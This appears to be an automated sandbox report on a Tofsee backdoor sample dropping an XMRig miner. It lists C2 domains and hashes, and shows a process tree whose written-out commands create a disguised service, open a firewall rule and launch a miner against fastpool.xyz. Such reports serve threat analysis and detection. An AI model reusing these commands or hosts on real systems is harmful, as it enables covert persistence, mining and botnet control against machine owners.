Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    08/01/2023, 00:52

General

  • Target
    file.exe
  • Size 354KB
  • Sample230108-a73cbsff47
  • SHA256 67f530e02de31b225a432d14350404d0bbf848f84e329cf2ed83a5c1f89a5ccc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ukrvxayp\
      2⤵
        PID:316
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\grnsjcod.exe" C:\Windows\SysWOW64\ukrvxayp\
        2⤵
          PID:368
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ukrvxayp binPath= "C:\Windows\SysWOW64\ukrvxayp\grnsjcod.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ukrvxayp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ukrvxayp
          2⤵
          • Launches sc.exe
          PID:676
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1348
      • C:\Windows\SysWOW64\ukrvxayp\grnsjcod.exe
        C:\Windows\SysWOW64\ukrvxayp\grnsjcod.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1852
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1800
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1352

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            grnsjcod.exe

            • Path C:\Users\Admin\AppData\Local\Temp\grnsjcod.exe
            • Size 13.5MB
            • SHA256 0a064b934e4a22a716a57cc4b9ebb29f8b641f09c848e53075dc81f59610b1db
            • MD5 SHA1 SHA512 SSDEEP

            grnsjcod.exe

            • Path C:\Windows\SysWOW64\ukrvxayp\grnsjcod.exe
            • Size 13.5MB
            • SHA256 0a064b934e4a22a716a57cc4b9ebb29f8b641f09c848e53075dc81f59610b1db
            • MD5 SHA1 SHA512 SSDEEP

            memory/532-66-0x00000000031EB000-0x0000000003201000-memory.dmp

            memory/532-59-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/532-61-0x0000000000400000-0x000000000301B000-memory.dmp

            memory/532-58-0x00000000031EB000-0x0000000003201000-memory.dmp

            memory/532-67-0x0000000000400000-0x000000000301B000-memory.dmp

            memory/532-54-0x0000000075FF1000-0x0000000075FF3000-memory.dmp

            memory/1352-101-0x0000000000080000-0x0000000000171000-memory.dmp

            memory/1352-99-0x0000000000080000-0x0000000000171000-memory.dmp

            memory/1800-70-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1800-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1800-80-0x0000000001990000-0x0000000001B9F000-memory.dmp

            memory/1800-83-0x0000000000150000-0x0000000000156000-memory.dmp

            memory/1800-86-0x0000000000160000-0x0000000000170000-memory.dmp

            memory/1800-89-0x0000000000170000-0x0000000000175000-memory.dmp

            memory/1800-92-0x0000000005450000-0x000000000585B000-memory.dmp

            memory/1800-95-0x00000000001C0000-0x00000000001C7000-memory.dmp

            memory/1800-98-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1800-72-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/1852-78-0x0000000000400000-0x000000000301B000-memory.dmp

            memory/1852-74-0x00000000031AB000-0x00000000031C1000-memory.dmp